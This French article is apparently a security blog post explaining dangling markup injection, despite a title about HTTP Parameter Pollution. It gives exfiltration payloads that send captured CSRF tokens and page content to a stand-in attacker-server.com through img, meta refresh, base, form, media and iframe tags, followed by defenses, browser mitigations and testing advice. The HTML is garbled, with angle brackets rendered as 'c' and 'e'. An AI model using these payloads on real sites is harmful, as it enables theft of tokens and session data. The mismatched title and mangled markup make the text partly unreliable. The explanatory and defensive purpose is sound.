HTTP Parameter Pollution (HPP) : Quand les serveurs ne s’accordent pas

Introduction

Dans le paysage en constante évolution de la sécurité des applications web, les attaquants développent continuellement des techniques sophistiquées pour contourner les mesures de protection. Alors que la Content Security Policy (CSP) et le filtrage robuste des entrées sont de plus en plus efficaces pour prévenir les attaques classiques de Cross-Site Scripting (XSS), une méthode d’exploitation subtile mais puissante appelée Dangling Markup Injection offre aux adversaires une voie alternative pour exfiltrer des données sensibles sans exécuter de code JavaScript.

Cette technique d’attaque exploite le comportement fondamental du navigateur et les mécanismes d’analyse HTML pour capturer des informations confidentielles, y compris les tokens CSRF, les identifiants de session, les identifiants d’authentification et les données personnelles. Ce qui rend le dangling markup injection particulièrement dangereux, c’est sa capacité à fonctionner dans des environnements où l’exécution de scripts est totalement bloquée, contournant ainsi de nombreux contrôles de sécurité modernes sur lesquels les développeurs comptent.

Qu’est-ce que le Dangling Markup Injection ?

Le dangling markup injection est une technique d’exfiltration de données qui capture des informations cross-domain dans des situations où les attaques classiques de XSS ne sont pas possibles. Contrairement aux attaques XSS conventionnelles nécessitant l’exécution de JavaScript, le dangling markup exploite la façon dont les navigateurs analysent des balises HTML et des attributs incomplets.

L’attaque fonctionne en injectant du code HTML qui laisse intentionnellement des balises ou des attributs non fermés — d’où le terme “dangling”. Lorsqu’un navigateur rencontre ces éléments incomplets, il applique un parsing permissif basé sur la spécification HTML5, qui privilégie l’expérience utilisateur plutôt que la conformité syntaxique stricte. Au lieu de générer une erreur, le navigateur considère tout le texte suivant comme faisant partie de la balise ou de l’attribut non fermé jusqu’à ce qu’il rencontre le délimiteur de fermeture approprié.

Mécanisme central

Considérons une application vulnérable qui intègre des données contrôlables par l’utilisateur dans ses réponses sans une sanitation adéquate :

cinput type="text" name="user_input" value="CONTROLLABLE_DATA_HERE"e

Si l’application ne filtre pas ou n’échappe pas correctement des caractères comme e ou ", un attaquant peut injecter du HTML incomplet qui modifie fondamentalement la façon dont le navigateur interprète le contenu de la page suivante. Le comportement permissif du parsing du navigateur devient alors l’arme de l’attaquant, transformant un balisage légitime en une fuite de données.

Comment le parsing du navigateur permet l’attaque

Les navigateurs modernes implémentent des mécanismes de parsing HTML permissifs conçus pour gérer gracieusement le balisage malformé. Cette décision de conception, tout en améliorant l’expérience utilisateur sur des sites mal codés, crée une vulnérabilité que le dangling markup injection exploite.

Lorsqu’un navigateur rencontre un attribut non fermé, il continue de scanner le document jusqu’à trouver le délimiteur de fermeture correspondant. Tout ce qui se trouve entre le point d’injection et ce délimiteur devient partie de la valeur de l’attribut — même si ce contenu inclut des tokens sensibles, des données de session ou d’autres informations confidentielles qui n’étaient pas destinées à être exposées.

Le navigateur ignore toute récursion du délimiteur d’ouverture rencontré durant cette analyse, se concentrant uniquement sur la recherche du caractère de fermeture. Ce comportement permet aux attaquants de “capturer” arbitrairement des portions du document HTML et de les transmettre à des serveurs contrôlés via des mécanismes HTML standards comme les requêtes d’image ou la soumission de formulaires.

Vecteurs d’attaque de base

Injection de source d’image

L’attaque la plus courante et simple utilise une balise image avec un attribut src non fermé intentionnellement :

"ecimg src='https://attacker-server.com/?

Lorsque cette charge utile est injectée dans un paramètre vulnérable, le navigateur commence à analyser la valeur de l’attribut src et continue jusqu’à rencontrer la prochaine quote simple dans le document HTML. Tout ce qui est capturé entre le point d’injection et cette quote — y compris les tokens CSRF, les données de session ou les informations utilisateur — est encodé en URL et transmis au serveur de l’attaquant dans la requête d’image.

Par exemple, si l’injection se produit avant un token CSRF :

"ecimg src='https://attacker-server.com/?
cinput type="hidden" name="csrf_token" value="a3f8d92b4e1c"e

La requête résultante vers le serveur de l’attaquant inclurait le token CSRF dans la chaîne de requête URL, permettant à l’attaquant de le capturer sans exécuter de JavaScript.

Redirection via Meta Refresh

Les attaquants peuvent aussi exploiter l’attribut http-equiv de la balise cmetae pour effectuer des redirections tout en capturant des données :

cmeta http-equiv="refresh" content="0; url=https://attacker-server.com/?

Cette technique redirige le navigateur de l’utilisateur vers un serveur contrôlé par l’attaquant, envoyant tout le balisage capturé dans l’URL. La technique est particulièrement efficace car les redirections meta refresh sont souvent autorisées par les politiques CSP qui bloquent d’autres méthodes d’exfiltration.

Manipulation de la cible du tag Base

Une approche plus sophistiquée consiste à exploiter l’attribut target de la balise cbasee, qui modifie la fenêtre cible par défaut pour tous les liens de la page :

cbase target='https://attacker-server.com/?

Cette attaque exploite la propriété window.name, accessible cross-domain. Lorsqu’un utilisateur clique sur un lien sur la page compromise, l’attribut cible incomplet fait que le navigateur définit le nom de la fenêtre avec tout le balisage entre le point d’injection et la quote suivante. L’attaquant peut alors lire ces données depuis la fenêtre ouverte, même à travers différentes domaines.

Hijacking de formulaire

Les attaquants peuvent injecter une nouvelle balise formulaire ou manipuler des formulaires existants pour rediriger les données soumises :

cform action='https://attacker-server.com/capture'e

En injectant un élément formulaire non fermé avant le formulaire légitime, l’attaquant cause l’association de tous les champs suivants — y compris ceux contenant des tokens CSRF ou des données sensibles — avec le formulaire de l’attaquant. Lorsqu’un utilisateur soumet ce qu’il croit être le formulaire légitime, les données sont envoyées directement au serveur de l’attaquant.

Techniques d’exploitation avancées

Exfiltration via iframe

Les attaquants sophistiqués peuvent abuser de l’attribut name de l’iframe pour créer des fuites de données récursives :

ciframe src="//vulnerable-site.com/page?param="eciframe name='" onload="exfiltrate(this)"e

Cette technique crée des iframes imbriquées où le nom de l’iframe interne capture du balisage sensible, qui peut ensuite être accessible et exfiltré par les gestionnaires d’événements de l’iframe externe.

Injection de valeur d’entrée

Une autre méthode avancée consiste à injecter des champs cachés qui capturent tout jusqu’à la prochaine quote de fermeture :

cinput type="hidden" name="captured_data" value="

Tout contenu suivant cette injection — y compris tokens CSRF, données utilisateur ou informations de session — devient la valeur de ce champ caché. Si l’attaquant peut déclencher une soumission de formulaire, ces données sont envoyées à la destination du formulaire.

Éléments audio et vidéo

Similaire aux balises image, les éléments audio et vidéo peuvent être exploités pour l’exfiltration de données :

caudio src='https://attacker-server.com/?
cvideo src='https://attacker-server.com/?

Ces balises envoient des requêtes HTTP pour charger des ressources média, permettant aux attaquants de capturer du balisage dans leurs URL comme avec les éléments image.

Vol de tokens CSRF : la cible principale

L’application la plus critique de l’injection de dangling markup consiste à voler des tokens CSRF. Ces tokens sont conçus pour protéger contre les attaques de type cross-site request forgery en s’assurant que les requêtes modifiant l’état proviennent de sources légitimes. Ils sont généralement implémentés sous forme de champs de formulaire cachés ou d’en-têtes personnalisés contenant des valeurs imprévisibles qui doivent être incluses dans les requêtes sensibles.

Les tokens CSRF sont particulièrement vulnérables au dangling markup injection parce que :

Placement stratégique : Les tokens sont souvent placés dans des champs de formulaire cachés immédiatement à côté des champs contrôlés par l’utilisateur
Format prévisible : Ils apparaissent généralement comme des valeurs d’attribut HTML encadrées par des quotes
Haute valeur : Une fois capturé, un token CSRF valide permet à l’attaquant d’effectuer des actions authentifiées au nom de la victime
Association à la session : Les tokens capturés sont liés à des sessions utilisateur actives, offrant à l’attaquant une fenêtre d’exploitation limitée mais critique

Workflow d’attaque pour le vol de token CSRF

Un pattern typique de vol de token CSRF via dangling markup est le suivant :

Reconnaissance : L’attaquant identifie un point d’injection dans une page contenant également des tokens CSRF
Création de payload : Il crée une charge utile de dangling markup qui va capturer le token
Distribution : La charge malveillante est livrée via une entrée reflétée, un contenu stocké ou des paramètres URL
Capture du token : Lors du chargement de la page compromise, le navigateur de la victime envoie le token au serveur de l’attaquant
Exploitation du token : L’attaquant utilise le token capturé pour effectuer des actions non autorisées dans la session de la victime

Une fois qu’un attaquant obtient un token CSRF valide, il peut :

Modifier les paramètres du compte utilisateur (email, mot de passe, questions de sécurité)
Effectuer des transactions financières au nom de la victime
Modifier les permissions d’accès ou élever les privilèges
Publier du contenu ou envoyer des messages en tant que victime
Supprimer ou modifier des données utilisateur
Effectuer toute action modifiant l’état que l’application permet

Pourquoi les défenses traditionnelles échouent

Filtres XSS modernes

Les applications modernes emploient souvent des filtres XSS qui détectent et bloquent les tentatives évidentes d’injection de scripts. Ces filtres recherchent des motifs comme cscripte, javascript:, onerror=, et autres vecteurs XSS courants. Cependant, le dangling markup bypass ces protections parce que :

Aucune exécution de script : L’attaque utilise des éléments HTML légitimes comme cimge, cmetae, et cforme sans JavaScript
Apparence bénigne : Les balises injectées individuellement semblent inoffensives pour les filtres concentrés sur le blocage de code exécutable
Syntaxe subtile : La puissance de l’attaque réside dans ce qui N’EST PAS inclus (les quotes de fermeture) plutôt que dans un contenu malveillant
Contexte dépendant : Le comportement dangereux émerge du parsing du navigateur, pas du contenu injecté lui-même

Content Security Policy (CSP)

La CSP est conçue pour prévenir le XSS en contrôlant quelles ressources peuvent être chargées et exécutées. Cependant, de nombreuses implémentations CSP laissent vulnérables au dangling markup injection :

Chargement permissif d’images : Alors que les politiques CSP bloquent souvent l’exécution de scripts avec script-src 'none', elles permettent fréquemment le chargement d’images pour préserver la fonctionnalité du site. Une politique comme :

Content-Security-Policy: default-src 'self'; script-src 'none'

Bloque efficacement l’exécution JavaScript mais ne empêche pas les balises cimge de faire des requêtes vers des serveurs externes, permettant des attaques de dangling markup simples.

Soumissions de formulaires : Beaucoup de politiques CSP ne restreignent pas les actions de formulaire, permettant aux attaquants d’utiliser des techniques de hijacking même dans des environnements CSP.

Limitations des balises meta : Certaines implémentations CSP ne restreignent pas suffisamment les balises cmetae avec des attributs http-equiv, permettant l’exfiltration via redirection.

Contournement par interaction utilisateur : Même les politiques CSP les plus restrictives peuvent être contournées par des techniques nécessitant peu d’interaction utilisateur, comme la manipulation de la cible de base ou les éléments cliquables.

Validation d’entrée

La validation d’entrée standard échoue souvent à prévenir le dangling markup injection parce que :

Blocage incomplet : Les validateurs peuvent autoriser les chevrons ou quotes dans certains contextes
Contournement par encodage : Différentes méthodes d’encodage peuvent contourner les blacklists simples
Confusion de contexte : Ce qui est sûr dans un contexte (comme dans un nœud de texte) devient dangereux dans une valeur d’attribut
Limitations de longueur : Même des charges utiles raccourcies peuvent être efficaces pour l’exfiltration

Scénarios d’attaque réels

Plateformes de médias sociaux

Les applications de médias sociaux permettent souvent un HTML limité dans le contenu généré par l’utilisateur comme les commentaires, publications, et biographies. Une sanitation insuffisante dans ces fonctionnalités a conduit à des vulnérabilités de dangling markup où les attaquants :

Injecté du balisage dangling persistant dans les commentaires de profil affectant tous les visiteurs
Capturé des tokens d’authentification à partir de profils victimes visualisant du contenu compromis
Créé des attaques auto-propagatives où des comptes compromis infectent automatiquement d’autres
Récupéré des données utilisateur comme adresses email, identifiants de session, et informations privées

Applications e-commerce

Les plateformes d’achat en ligne ont été exploitées via du dangling markup pour capturer des informations financières sensibles :

Pages de paiement avec une sanitation insuffisante ont permis l’injection dans les champs d’adresse
Les informations de carte de crédit visibles dans le balisage HTML ont été exfiltrées via des balises image dangling
Les pages de confirmation de commande ont divulgué tous les détails de la transaction, y compris les adresses de facturation
Les données du panier ont été capturées et transmises à des serveurs contrôlés par l’attaquant

Applications web d’entreprise

Les applications d’entreprise avec des flux d’authentification complexes ont souffert de vulnérabilités de dangling markup :

Les implémentations SSO avec lien magique ont été compromises
Les panneaux administratifs ont divulgué des tokens CSRF via des paramètres email vulnérables
Les systèmes de gestion de la relation client ont exposé des données sensibles
Les outils internes avec une validation d’entrée faible ont permis le vol persistant de tokens affectant tous les utilisateurs

Attaques par email

Une technique d’attaque sophistiquée consiste à compromettre la gestion des paramètres email :

Un attaquant identifie une fonctionnalité de notification email avec une sanitation insuffisante
Il injecte du dangling markup dans le champ destinataire de l’email
Le système génère un email contenant la charge utile
Lors de la visualisation de l’email dans un client web, le balisage dangling capture des données sensibles adjacentes
Ces données (tokens d’authentification ou identifiants de session) sont exfiltrées vers le serveur de l’attaquant

Mitigations et évolution des navigateurs

Reconnaissant la gravité du dangling markup injection, les fournisseurs de navigateurs ont commencé à mettre en œuvre des contre-mesures, bien que ces protections restent incomplètes.

Approche de Chromium

Chrome et les navigateurs basés sur Chromium ont implémenté des protections contre le dangling markup injection qui empêchent certaines balises de définir des URLs contenant des caractères bruts comme les chevrons, sauts de ligne, et autres caractères problématiques. Ces protections sont en place dans Chromium depuis environ six ans et sont en cours d’intégration officielle dans la spécification HTML.

Cependant, en 2022, des chercheurs en sécurité ont découvert des contournements à ces protections. Plus précisément, lorsque Chromium met à jour les URLs en page dans le protocole HTTP vers HTTPS, les protections contre le dangling markup injection sont contournées, permettant aux attaquants d’exfiltrer des informations sensibles en utilisant des URLs en HTTP qui seraient automatiquement mises à jour.

Mises à jour de la spécification

En 2024, des efforts sont en cours pour ajouter officiellement des mitigations contre le dangling markup injection dans la spécification HTML via le WHATWG. Ces mises à jour introduisent de nouveaux algorithmes :

Vérification du dangling markup : valide les URLs avant leur parsing
HTML-Parse a URL : appelle la vérification du dangling markup avant le parsing standard
HTML-Encoding-Parsing-and-Serialize a URL : intègre la protection contre le dangling markup tout au long du traitement des URLs

Les fournisseurs de navigateurs comme Mozilla (Firefox) et Apple (WebKit/Safari) mettent en œuvre ces mitigations selon la nouvelle spécification.

Support actuel des navigateurs

Le support des protections contre le dangling markup varie :

Chrome/Edge/Opera : protections en place depuis environ six ans, avec certains contournements découverts
Firefox : en cours d’implémentation suite aux mises à jour de la spécification 2024
Safari : protections partielles existantes avec des améliorations en cours
Navigateurs mobiles : héritent généralement des protections desktop mais peuvent prendre du retard dans les mises à jour

Stratégies de défense complètes

Se défendre contre le dangling markup injection nécessite une approche multicouche combinant sanitation des entrées, encodage des sorties, headers de sécurité, et décisions architecturales.

Sanitation des entrées et encodage des sorties

Validation stricte des entrées : mettre en œuvre une validation basée sur une allowlist qui ne permet que des caractères explicitement sûrs. Pour les valeurs d’attributs, cela signifie généralement des caractères alphanumériques et un ensemble très limité de caractères spéciaux.

Encodage contextuel des sorties : appliquer différents schémas d’encodage selon l’endroit où apparaissent les données utilisateur dans le document HTML : - Encodage en entités HTML pour les nœuds de texte - Encodage JavaScript pour les contextes script - Encodage d’URL pour les paramètres URL - Encodage d’attribut pour les valeurs d’attribut

Gestion des quotes : toujours utiliser des guillemets doubles pour les valeurs d’attributs et s’assurer qu’ils sont correctement échappés dans tout contenu contrôlé par l’utilisateur.

Renforcement de la Content Security Policy

Mettre en œuvre des politiques CSP restrictives qui minimisent la surface d’attaque du dangling markup :

Content-Security-Policy: 
  default-src 'none';
  img-src 'self';
  form-action 'self';
  base-uri 'none';

Cette politique : - Bloque toutes les ressources externes par défaut - Restreint les images à la même origine - Empêche la soumission de formulaires vers des domaines externes - Désactive complètement la balise cbasee pour éviter l’exploitation de l’attribut target

Directives CSP supplémentaires : envisager d’ajouter require-trusted-types-for 'script' pour renforcer Trusted Types, réduisant encore le risque d’injection.

Protection des tokens CSRF au-delà du dangling markup

Bien que le dangling markup puisse voler des tokens, des couches supplémentaires empêchent leur exploitation :

Cookies SameSite : définir les cookies de session avec SameSite=Strict ou SameSite=Lax pour éviter qu’ils soient envoyés avec des requêtes cross-site.

En-têtes personnalisés : exiger des en-têtes personnalisés (comme X-CSRF-Token) qui ne peuvent pas être définis par des formulaires HTML ou des requêtes cross-origin simples.

Double Submit Cookie : utiliser des tokens signés cryptographiquement qui lient le token CSRF à la session de l’utilisateur, rendant les tokens volés inutiles sans le cookie de session correspondant.

Tokens à durée courte : implémenter une expiration des tokens pour réduire la fenêtre d’exploitation si un token est capturé.

Défenses architecturales

Séparation des responsabilités : garder les opérations sensibles dans des domaines ou sous-domaines séparés avec une authentification isolée, rendant l’exfiltration cross-domain plus difficile.

Conception API-first : utiliser des API JSON avec des politiques CORS appropriées plutôt que des soumissions de formulaires HTML traditionnelles, réduisant la surface d’attaque pour l’injection de balisage.

Fonctionnalités de sécurité des frameworks : exploiter les fonctionnalités de sécurité intégrées des frameworks modernes comme React, Angular ou Vue.js, qui offrent une protection automatique contre le XSS et un templating sécurisé.

Surveillance et détection

Mettre en œuvre une surveillance de sécurité pour détecter d’éventuelles attaques de dangling markup :

Requêtes sortantes anormales : surveiller les modèles inhabituels dans les requêtes d’image, vidéo ou audio
Inspection des paramètres : signaler les requêtes contenant des balises HTML partiellement formées dans les entrées utilisateur
Règles WAF : déployer des règles de Web Application Firewall pour détecter les motifs de dangling markup
Scan de sécurité : analyser régulièrement les applications avec des outils spécifiquement conçus pour tester ces vulnérabilités

Tester les vulnérabilités de dangling markup

Les professionnels de la sécurité et les développeurs doivent tester activement ces vulnérabilités en utilisant des approches systématiques.

Méthodologie manuelle

Identifier les points d’injection : repérer tous les endroits où l’entrée utilisateur est reflétée dans la sortie HTML
Tester l’échappement des quotes : soumettre des payloads contenant des quotes et chevrons pour vérifier leur échappement
Injecter des payloads dangling : essayer des payloads de dangling markup simples comme "ecimg src='//attacker.com/?
Surveiller les requêtes : utiliser les outils de développement du navigateur ou des outils proxy comme Burp Suite pour observer si des données sont envoyées à des serveurs externes
Vérifier la capture de données : voir si des informations sensibles (tokens, données de session) apparaissent dans les requêtes capturées

Analyse automatique

Plusieurs outils peuvent aider à identifier les vulnérabilités de dangling markup :

Burp Suite Professional : inclut des capacités de scan pour l’injection HTML et le dangling markup
OWASP ZAP : peut être configuré avec des règles de scan personnalisées pour détecter ces vulnérabilités
Scripts personnalisés : développer des scripts ciblés qui testent systématiquement les points d’injection avec des payloads de dangling markup

Scénarios de test d’intrusion

Lors des tests d’intrusion, les chercheurs en sécurité doivent :

Tester tous les champs d’entrée, paramètres URL, et en-têtes pour des possibilités d’injection
Examiner les pages contenant des tokens CSRF ou d’autres données sensibles
Vérifier l’efficacité de la CSP contre les techniques de dangling markup
Tester différentes versions de navigateurs pour identifier des vulnérabilités spécifiques à l’implémentation
Tenter des contournements lorsque des protections sont détectées

L’avenir des attaques de dangling markup

À mesure que les navigateurs mettent en œuvre des mitigations et que la spécification HTML évolue pour formaliser ces protections, le paysage du dangling markup injection continue de changer.

Techniques d’attaque en évolution

Les attaquants découvrent constamment de nouveaux contournements et variations :

Dangling markup basé sur le DOM utilisant JavaScript côté client pour injecter des payloads
Attaques basées sur le timing exploitant des conditions de course dans les implémentations de mitigation
Contournements par encodage qui évitent les restrictions de caractères
Techniques spécifiques aux navigateurs mobiles exploitant des différences d’implémentation

Défenses émergentes

La communauté de la sécurité développe des protections renforcées :

Trusted Types : API de navigateur qui imposent une gestion sûre des sinks dangereux
API Sanitizer : nettoyage HTML natif du navigateur offrant une protection cohérente et sécurisée
Nouvelles directives CSP : directives CSP spécifiques ciblant les attaques d’injection
Évolution des frameworks : frameworks modernes intégrant des protections supplémentaires par défaut

Conclusion

L’injection de dangling markup représente une classe sophistiquée de vulnérabilités web qui contourne de nombreux contrôles de sécurité traditionnels en exploitant le comportement fondamental du navigateur plutôt qu’en nécessitant l’exécution de scripts. Sa capacité à exfiltrer des données sensibles — notamment les tokens CSRF — sans déclencher les filtres XSS ou violer des politiques CSP permissives en fait une menace persistante pour la sécurité des applications web.

Comprendre cette technique d’attaque est crucial pour les développeurs, les professionnels de la sécurité et les testeurs d’intrusion. Bien que les navigateurs mettent en œuvre des mitigations et que les spécifications évoluent, la technique reste efficace contre de nombreuses applications en production, en particulier celles qui se fient uniquement à la prévention XSS ou à des politiques CSP basiques.

Une défense efficace nécessite une approche globale, en profondeur : validation stricte des entrées, encodage des sorties, politiques CSP renforcées, décisions architecturales, protection robuste contre les tokens CSRF, et surveillance continue d’activités suspectes. À mesure que le paysage de la sécurité web évolue, rester informé des techniques comme le dangling markup injection et de leurs contre-mesures est essentiel pour maintenir des applications web sécurisées.

La relation entre convivialité et sécurité crée une tension inhérente en développement web. Permettre un contenu HTML riche améliore l’expérience utilisateur mais augmente la surface d’attaque. Les organisations doivent évaluer soigneusement leur tolérance au risque et mettre en œuvre des contrôles de sécurité proportionnels à la sensibilité des données qu’elles protègent. En comprenant en profondeur le dangling markup injection et en appliquant des défenses complètes, elles peuvent réduire significativement leur exposition à cette vecteur d’attaque subtil mais dangereux tout en conservant la fonctionnalité attendue par les utilisateurs.

Mots-clés : dangling markup injection, vol de tokens CSRF, attaque d’injection HTML, exfiltration sans JavaScript, vulnérabilité de parsing navigateur, balises HTML incomplètes, contournement CSP, évasion du filtre XSS, fuite de tokens de session, sécurité application web, injection d’attributs, exfiltration cross-site, défense contre dangling markup, exploit de parsing HTML, contournement de la protection CSRF